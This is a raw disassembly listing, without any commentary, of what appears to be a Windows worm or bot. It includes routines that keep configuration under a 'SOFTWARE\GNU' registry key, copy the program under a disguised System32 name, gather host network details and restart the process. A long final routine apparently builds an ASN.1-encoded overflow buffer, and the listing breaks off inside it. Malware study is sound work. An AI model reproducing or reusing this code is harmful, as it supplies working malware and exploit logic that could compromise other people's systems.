sub_4048C1	proc near		; CODE XREF: sub_40B45D+4Cp
					; sub_40C14B+5Ap ...

var_580		= byte ptr -580h
var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 580h
		push	ebx
		push	esi
		push	edi
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp+var_C]
		call	sub_40D8DC
		mov	edi, offset aPprt ; "pprt"
		push	edi
		mov	eax, esi
		push	eax
		call	sub_40D93E
		test	eax, eax
		mov	eax, esi
		jnz	short loc_4048FE
		push	0
		push	edi
		push	eax
		call	sub_40DA4A
		jmp	short loc_40490C
; ---------------------------------------------------------------------------

loc_4048FE:				; CODE XREF: sub_4048C1+30j
		push	edi
		push	eax
		call	sub_40DA68
		mov	esi, eax
		test	si, si
		jnz	short loc_40496E

loc_40490C:				; CODE XREF: sub_4048C1+3Bj
		xor	ebx, ebx

loc_40490E:				; CODE XREF: sub_4048C1+96j
		lea	esi, [ebp+var_580]
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	0FFFFh
		push	401h
		call	sub_40D864
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_580]
		mov	esi, eax
		call	sub_414997
		cmp	eax, 0FFFFFFFFh
		push	3
		lea	eax, [ebp+var_580]
		jnz	short loc_40495B
		call	sub_414D44
		inc	ebx
		cmp	ebx, 5
		jb	short loc_40490E
		jmp	short loc_40496E
; ---------------------------------------------------------------------------

loc_40495B:				; CODE XREF: sub_4048C1+8Bj
		call	sub_414D44
		movzx	eax, si
		push	eax
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40DA4A

loc_40496E:				; CODE XREF: sub_4048C1+49j
					; sub_4048C1+98j
		lea	eax, [ebp+var_C]
		call	sub_40D8F7
		pop	edi
		mov	ax, si
		pop	esi
		pop	ebx
		leave
		retn
sub_4048C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40497E	proc near		; CODE XREF: sub_40EE78+3p

var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	100h
		lea	eax, [ebp+var_10C]
		xor	edi, edi
		push	eax
		mov	[ebp+var_8], edi
		call	ds:dword_429278	; gethostname
		push	1Ch
		call	sub_41BA91
		pop	ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		mov	[ebp+var_4], 4
		call	sub_41B9BA	; GetIpAddrTable
		push	esi
		call	sub_41CA28
		push	[ebp+var_4]
		call	sub_41BAB5
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41B9BA	; GetIpAddrTable
		xor	ebx, ebx
		cmp	[esi], edi
		jbe	short loc_404A07
		lea	edi, [esi+4]

loc_4049E3:				; CODE XREF: sub_40497E+87j
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41484D
		pop	ecx
		mov	ecx, [ebp+var_C]
		cmp	ecx, eax
		jnz	short loc_4049FF
		mov	[ebp+var_8], ecx

loc_4049FF:				; CODE XREF: sub_40497E+7Cj
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_4049E3

loc_404A07:				; CODE XREF: sub_40497E+60j
		push	esi
		call	sub_41CA28
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40497E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A16	proc near		; CODE XREF: sub_40EEB1+3p

var_108		= byte ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	esi
		push	edi
		push	100h
		lea	eax, [ebp+var_108]
		xor	edi, edi
		push	eax
		mov	[ebp+var_8], edi
		call	ds:dword_429278	; gethostname
		push	1Ch
		call	sub_41BA91
		pop	ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		mov	[ebp+var_4], 4
		call	sub_41B9BA	; GetIpAddrTable
		push	esi
		call	sub_41CA28
		push	[ebp+var_4]
		call	sub_41BAB5
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41B9BA	; GetIpAddrTable
		xor	ebx, ebx
		cmp	[esi], edi
		jbe	short loc_404A9A
		lea	edi, [esi+0Ch]

loc_404A7B:				; CODE XREF: sub_404A16+82j
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_41484D
		cmp	[edi-8], eax
		pop	ecx
		jnz	short loc_404A92
		mov	eax, [edi]
		mov	[ebp+var_8], eax

loc_404A92:				; CODE XREF: sub_404A16+75j
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_404A7B

loc_404A9A:				; CODE XREF: sub_404A16+60j
		push	esi
		call	sub_41CA28
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404A16	endp


; =============== S U B	R O U T	I N E =======================================



sub_404AA9	proc near		; CODE XREF: .text:00408B7Fp
					; .text:00408BDAp ...
		push	esi
		mov	esi, offset dword_4359C8
		push	esi
		push	1
		push	0
		push	1Ah
		push	0
		call	ds:dword_4291E0
		push	offset asc_42FDC4 ; "\\"
		push	esi
		call	sub_41C940
		push	offset aFntcache_bin ; "FNTCACHE.BIN"
		push	esi
		call	sub_41C940
		add	esp, 10h
		mov	eax, esi
		pop	esi
		retn
sub_404AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404ADB	proc near		; CODE XREF: sub_4060DC+3D1p
					; sub_40F0E9+29p ...
		push	esi
		mov	esi, offset dword_435C10
		push	esi
		push	1
		push	0
		push	1Ah
		push	0
		call	ds:dword_4291E0
		push	offset asc_42FDC4 ; "\\"
		push	esi
		call	sub_41C940
		push	offset aPerfc012_dat ; "perfc012.dat"
		push	esi
		call	sub_41C940
		add	esp, 10h
		mov	eax, esi
		pop	esi
		retn
sub_404ADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B0D	proc near		; CODE XREF: sub_404E2C+4Fp
					; .text:0040A98Dp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	104h
		mov	edi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\mvwatvx.exe"
		push	edi
		call	ds:dword_4290D4	; GetSystemDirectoryA
		mov	ebx, offset asc_42FDC4 ; "\\"
		push	ebx
		push	edi
		call	sub_41C940
		mov	esi, offset aMvwatvx_exe ; "mvwatvx.exe"
		push	esi
		push	edi
		call	sub_41C940
		or	[ebp+var_4], 0FFFFFFFFh
		add	esp, 10h
		push	edi
		lea	eax, [ebp+var_4]
		call	sub_405CD8
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_404B7E
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_404B7E
		push	edi
		push	1
		push	0
		push	1Ah
		push	0
		call	ds:dword_4291E0
		push	ebx
		push	edi
		call	sub_41C940
		push	esi
		push	edi
		call	sub_41C940
		add	esp, 10h

loc_404B7E:				; CODE XREF: sub_404B0D+44j
					; sub_404B0D+4Fj
		lea	esi, [ebp+var_4]
		call	sub_405CF2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B8D	proc near		; CODE XREF: sub_40F6A4+E2p

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp+var_C]
		call	sub_40D8DC
		push	1
		push	offset aSkst	; "skst"
		mov	eax, esi
		push	eax
		call	sub_40DA4A
		movsx	eax, [ebp+arg_0]
		push	eax
		push	offset aSkvr	; "skvr"
		mov	eax, esi
		push	eax
		call	sub_40DA4A
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aSkpt	; "skpt"
		mov	eax, esi
		push	eax
		call	sub_40DA4A
		push	10h
		push	[ebp+arg_8]
		mov	eax, esi
		push	offset aSkus	; "skus"
		call	sub_40D9C3
		push	10h
		push	[ebp+arg_C]
		mov	eax, esi
		push	offset aSkps	; "skps"
		call	sub_40D9C3
		mov	eax, esi
		call	sub_40D8F7
		pop	esi
		leave
		retn
sub_404B8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C05	proc near		; CODE XREF: sub_4142D6:loc_4146EBp

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp+var_10]
		call	sub_40D8DC
		mov	esi, offset aSkst ; "skst"
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	short loc_404CAA
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40DA68
		test	eax, eax
		jz	short loc_404CAA
		push	edi
		push	offset aSkvr	; "skvr"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40DA68
		mov	ds:byte_435C04,	al
		push	offset aSkpt	; "skpt"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40DA68
		mov	esi, ds:dword_429004
		push	10h
		pop	edi
		mov	ds:word_435C08,	ax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_435ACC
		push	0
		push	0
		push	offset aSkus	; "skus"
		push	[ebp+var_10]
		mov	[ebp+var_4], edi
		call	esi	; RegQueryValueExA
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_435BF4
		push	0
		push	0
		push	offset aSkps	; "skps"
		push	[ebp+var_10]
		mov	[ebp+var_4], edi
		call	esi	; RegQueryValueExA
		xor	esi, esi
		inc	esi
		pop	edi
		jmp	short loc_404CAC
; ---------------------------------------------------------------------------

loc_404CAA:				; CODE XREF: sub_404C05+2Aj
					; sub_404C05+38j
		xor	esi, esi

loc_404CAC:				; CODE XREF: sub_404C05+A3j
		lea	eax, [ebp+var_10]
		call	sub_40D8F7
		mov	eax, esi
		pop	esi
		leave
		retn
sub_404C05	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CB9	proc near		; CODE XREF: sub_409BDA+24Ep
					; sub_409BDA+61Fp ...
		and	dword ptr [edi], 0
		push	esi
		xor	esi, esi

loc_404CBF:				; CODE XREF: sub_404CB9+1Cj
		push	0FFh
		push	0
		call	sub_40D864
		mov	[edi+esi+4], al
		inc	esi
		cmp	esi, 20h
		pop	ecx
		pop	ecx
		jb	short loc_404CBF
		mov	eax, edi
		pop	esi
		retn
sub_404CB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CDB	proc near		; CODE XREF: sub_404D1E+21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jbe	short loc_404CF5

loc_404CE5:				; CODE XREF: sub_404CDB+18j
		mov	ecx, [ebp+arg_4]
		mov	cl, [eax+ecx]
		mov	[esi+eax+4], cl
		inc	eax
		cmp	eax, [ebp+arg_8]
		jb	short loc_404CE5

loc_404CF5:				; CODE XREF: sub_404CDB+8j
		mov	ecx, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		lea	edi, [esi+24h]
		mov	eax, edi
		call	sub_41B3D5
		lea	eax, [esi+4]
		push	eax
		mov	ecx, edi
		call	sub_41954F
		pop	ecx
		pop	ecx
		mov	dword ptr [esi], 1
		pop	edi
		pop	ebp
		retn	0Ch
sub_404CDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D1E	proc near		; CODE XREF: sub_409BDA+25Ep
					; sub_409BDA+62Cp ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_404CDB
		leave
		retn	8
sub_404D1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D48	proc near		; CODE XREF: sub_404D64+1Ap

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [eax+4]
		lea	ecx, [eax+24h]
		push	esi
		mov	eax, esi
		call	sub_41954F
		xor	eax, eax
		mov	al, [esi]
		pop	ecx
		pop	esi
		xor	eax, [esp+arg_0]
		retn	4
sub_404D48	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D64	proc near		; CODE XREF: sub_414C2D+29p
					; sub_414D0B+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		cmp	[esp+4+arg_8], edi
		jbe	short loc_404D8D
		push	esi

loc_404D6E:				; CODE XREF: sub_404D64+26j
		mov	eax, [esp+8+arg_4]
		lea	esi, [edi+eax]
		xor	eax, eax
		mov	al, [esi]
		push	eax
		mov	eax, [esp+0Ch+arg_0]
		call	sub_404D48
		inc	edi
		cmp	edi, [esp+8+arg_8]
		mov	[esi], al
		jb	short loc_404D6E
		pop	esi

loc_404D8D:				; CODE XREF: sub_404D64+7j
		pop	edi
		retn	0Ch
sub_404D64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D91	proc near		; CODE XREF: sub_409BDA+537p
					; sub_40B8D4+9Dp

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	esi
		push	edi
		mov	esi, 200h
		push	esi
		mov	[ebp+var_408], eax
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_404]
		push	0
		push	eax
		call	sub_41C6D0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, esi
		mov	[ebp+var_4], 10001h
		call	sub_417B36
		mov	eax, [ebp+var_408]
		add	eax, 7
		add	esp, 24h
		xor	ecx, ecx
		shr	eax, 3
		jz	short loc_404E15

loc_404DF3:				; CODE XREF: sub_404D91+82j
		mov	edx, ecx
		sub	edx, eax
		mov	eax, [ebp+arg_4]
		mov	al, [ecx+eax]
		mov	[ebp+edx+var_204], al
		mov	eax, [ebp+var_408]
		add	eax, 7
		inc	ecx
		shr	eax, 3
		cmp	ecx, eax
		jb	short loc_404DF3

loc_404E15:				; CODE XREF: sub_404D91+60j
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, 101h
		lea	esi, [ebp+var_408]
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_404D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E2C	proc near		; DATA XREF: sub_4142D6+Eo

var_1E4		= byte ptr -1E4h
var_B8		= byte ptr -0B8h
var_54		= dword	ptr -54h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1E4h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		mov	ecx, [ecx+4]
		push	ebx
		push	esi
		push	dword ptr [ecx+0B8h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_B8]
		push	offset aXXX	; "%X %X %X"
		push	eax
		call	sub_41CA2D
		add	esp, 14h
		lea	eax, [ebp+var_B8]
		push	eax
		mov	ebx, offset dword_438154
		call	sub_408012
		push	ds:dword_438104
		call	ds:dword_4290F0	; CloseHandle
		call	sub_404B0D
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_41C930
		push	44h
		pop	eax
		push	eax
		mov	[ebp+var_54], eax
		xor	esi, esi
		lea	eax, [ebp+var_54]
		push	esi
		push	eax
		call	sub_41C6D0
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41C6D0
		add	esp, 20h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_1E4]
		push	eax
		push	esi
		call	ds:dword_4290EC	; CreateProcessA
		push	esi
		call	ds:dword_4290E8	; ExitProcess
		int	3		; Trap to Debugger
sub_404E2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404ED3	proc near		; CODE XREF: sub_405123+113p

arg_0		= dword	ptr  4

		push	esi
		push	ebx
		call	sub_41D0C4
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_404EFD
		push	ebx
		push	0
		push	esi
		call	sub_41C6D0
		push	ebx
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41BC60
		add	esp, 18h
		mov	[edi+4], ebx
		mov	[edi], esi

loc_404EFD:				; CODE XREF: sub_404ED3+Cj
		mov	eax, edi
		pop	esi
		retn	4
sub_404ED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F03	proc near		; CODE XREF: sub_404FEB+19p
					; sub_405064+18p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [ebx+eax]
		push	edi
		call	sub_41D0C4
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_404F4A
		push	edi
		push	0
		push	esi
		call	sub_41C6D0
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_41BC60
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		add	esp, 24h
		mov	[eax+4], edi
		mov	[eax], esi
		jmp	short loc_404F4D
; ---------------------------------------------------------------------------

loc_404F4A:				; CODE XREF: sub_404F03+16j
		mov	eax, [ebp+arg_0]

loc_404F4D:				; CODE XREF: sub_404F03+45j
		pop	edi
		pop	esi
		pop	ebp
		retn	10h
sub_404F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F53	proc near		; CODE XREF: sub_404FEB+5Ep
					; sub_404FEB+6Ep ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_404F60
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_404F60:				; CODE XREF: sub_404F53+4j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		retn
sub_404F53	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F68	proc near		; CODE XREF: sub_404FEB+21p
					; sub_4050C4+8p ...
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jl	short loc_404F75
		xor	al, al
		retn
; ---------------------------------------------------------------------------

loc_404F75:				; CODE XREF: sub_404F68+8j
		push	ebx
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		push	edi
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_41D0C4
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_404F96
		xor	al, al
		jmp	short loc_404FE8
; ---------------------------------------------------------------------------

loc_404F96:				; CODE XREF: sub_404F68+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_41C6D0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_404FB6
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_404FCB
; ---------------------------------------------------------------------------

loc_404FB6:				; CODE XREF: sub_404F68+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]

loc_404FCB:				; CODE XREF: sub_404F68+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41C2DD
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_404FE8:				; CODE XREF: sub_404F68+2Cj
		pop	edi
		pop	ebx
		retn
sub_404F68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FEB	proc near		; CODE XREF: sub_405123+7Ep
					; sub_405123+D7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	dword ptr [edi+4]
		lea	eax, [ebp+var_C]
		push	dword ptr [edi]
		xor	ebx, ebx
		push	offset byte_42FE34
		push	eax
		inc	ebx
		call	sub_404F03
		lea	esi, [ebp+var_C]
		call	sub_404F68
		mov	esi, [ebp+var_8]
		inc	esi
		push	esi
		mov	[ebp+var_4], esi
		call	sub_41D0C4
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jnz	short loc_405029
		xor	al, al
		jmp	short loc_405060
; ---------------------------------------------------------------------------

loc_405029:				; CODE XREF: sub_404FEB+38j
		push	esi
		push	0
		push	ebx
		call	sub_41C6D0
		push	[ebp+var_8]
		lea	eax, [ebx+1]
		push	[ebp+var_C]
		mov	byte ptr [ebx],	3
		push	eax
		call	sub_41BC60
		add	esp, 18h
		mov	esi, edi
		call	sub_404F53
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+var_C]
		mov	[edi+4], eax
		mov	[edi], ebx
		call	sub_404F53
		mov	al, 1

loc_405060:				; CODE XREF: sub_404FEB+3Cj
		pop	esi
		pop	ebx
		leave
		retn
sub_404FEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405064	proc near		; CODE XREF: sub_405099+13p
					; sub_4050B4+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	[ebp+arg_4]
		mov	esi, eax
		push	[ebp+arg_0]
		mov	ebx, [esi+4]
		push	dword ptr [esi]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404F03
		call	sub_404F53
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		pop	esi
		mov	al, 1
		pop	ebx
		leave
		retn	8
sub_405064	endp


; =============== S U B	R O U T	I N E =======================================



sub_405099	proc near		; CODE XREF: sub_405123+E5p
					; sub_405123+153p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		call	sub_41C350
		pop	ecx
		push	eax
		push	[esp+4+arg_4]
		mov	eax, [esp+8+arg_0]
		call	sub_405064
		retn	8
sub_405099	endp


; =============== S U B	R O U T	I N E =======================================



sub_4050B4	proc near		; CODE XREF: sub_405102+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_405064
		retn	8
sub_4050B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050C4	proc near		; CODE XREF: sub_405102+19p
					; sub_405123+85p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, eax
		call	sub_404F68
		test	al, al
		jz	short loc_4050FF
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_8]
		push	dword ptr [esi]
		xor	ebx, ebx
		push	offset dword_42FE30
		push	eax
		inc	ebx
		call	sub_404F03
		call	sub_404F53
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, bl
		pop	ebx

loc_4050FF:				; CODE XREF: sub_4050C4+Fj
		pop	esi
		leave
		retn
sub_4050C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_405102	proc near		; CODE XREF: sub_405123+127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		call	sub_4050B4
		test	al, al
		jz	short locret_405120
		mov	eax, [esp+arg_0]
		call	sub_4050C4

locret_405120:				; CODE XREF: sub_405102+13j
		retn	0Ch
sub_405102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405123	proc near		; CODE XREF: sub_405664+53p
					; sub_4056EB+53p

var_848		= byte ptr -848h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	esi
		mov	ebx, eax
		xor	edx, edx
		xor	esi, esi
		mov	ecx, 408h
		xor	eax, eax
		cmp	[ebp+arg_8], ecx
		push	edi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_40], esi
		jg	loc_405471
		lea	edi, [ebx+8]
		cmp	edi, ecx
		ja	loc_405471
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		push	offset dword_435444
		lea	eax, [ebp+var_28]
		call	sub_405064
		push	3
		push	offset dword_435440
		lea	eax, [ebp+var_28]
		call	sub_405064
		lea	edi, [ebp+var_28]
		call	sub_404FEB
		mov	eax, edi
		call	sub_4050C4
		mov	esi, 800h
		push	esi
		lea	eax, [ebp+var_848]
		push	42h
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		push	8
		push	offset byte_43544C
		lea	eax, [ebp+var_8]
		call	sub_405064
		push	ebx
		push	[ebp+arg_C]
		lea	eax, [ebp+var_8]
		call	sub_405064
		mov	eax, 409h
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_848]
		push	eax
		lea	eax, [ebp+var_8]
		call	sub_405064
		lea	edi, [ebp+var_8]
		call	sub_404FEB
		push	offset loc_42FE24
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_405099
		lea	edi, [ebp+var_38]
		call	sub_404FEB
		push	esi
		lea	eax, [ebp+var_848]
		push	44h
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		lea	eax, [ebp+var_848]
		push	eax
		mov	ebx, 410h
		lea	edi, [ebp+var_48]
		call	sub_404ED3
		call	sub_404FEB
		push	[ebp+var_44]
		lea	eax, [ebp+var_38]
		push	[ebp+var_48]
		push	eax
		call	sub_405102
		mov	esi, edi
		call	sub_404F53
		mov	ebx, 800h
		push	ebx
		lea	eax, [ebp+var_848]
		push	43h
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_405099
		push	4
		push	offset dword_435438
		lea	eax, [ebp+var_10]
		call	sub_405064
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_4]
		call	sub_405064
		mov	eax, 408h
		sub	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_848]
		push	eax
		lea	eax, [ebp+var_10]
		call	sub_405064
		lea	edi, [ebp+var_10]
		call	sub_404FEB
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_30]
		call	sub_405064
		push	[ebp+var_34]
		mov	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		call	sub_405064
		lea	eax, [ebp+var_30]
		call	sub_4050C4
		mov	esi, edi
		call	sub_404F53
		lea	esi, [ebp+var_38]
		call	sub_404F53
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_20]
		call	sub_405064
		push	[ebp+var_24]
		mov	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		call	sub_405064
		push	[ebp+var_2C]
		mov	eax, [ebp+var_30]
		push	eax
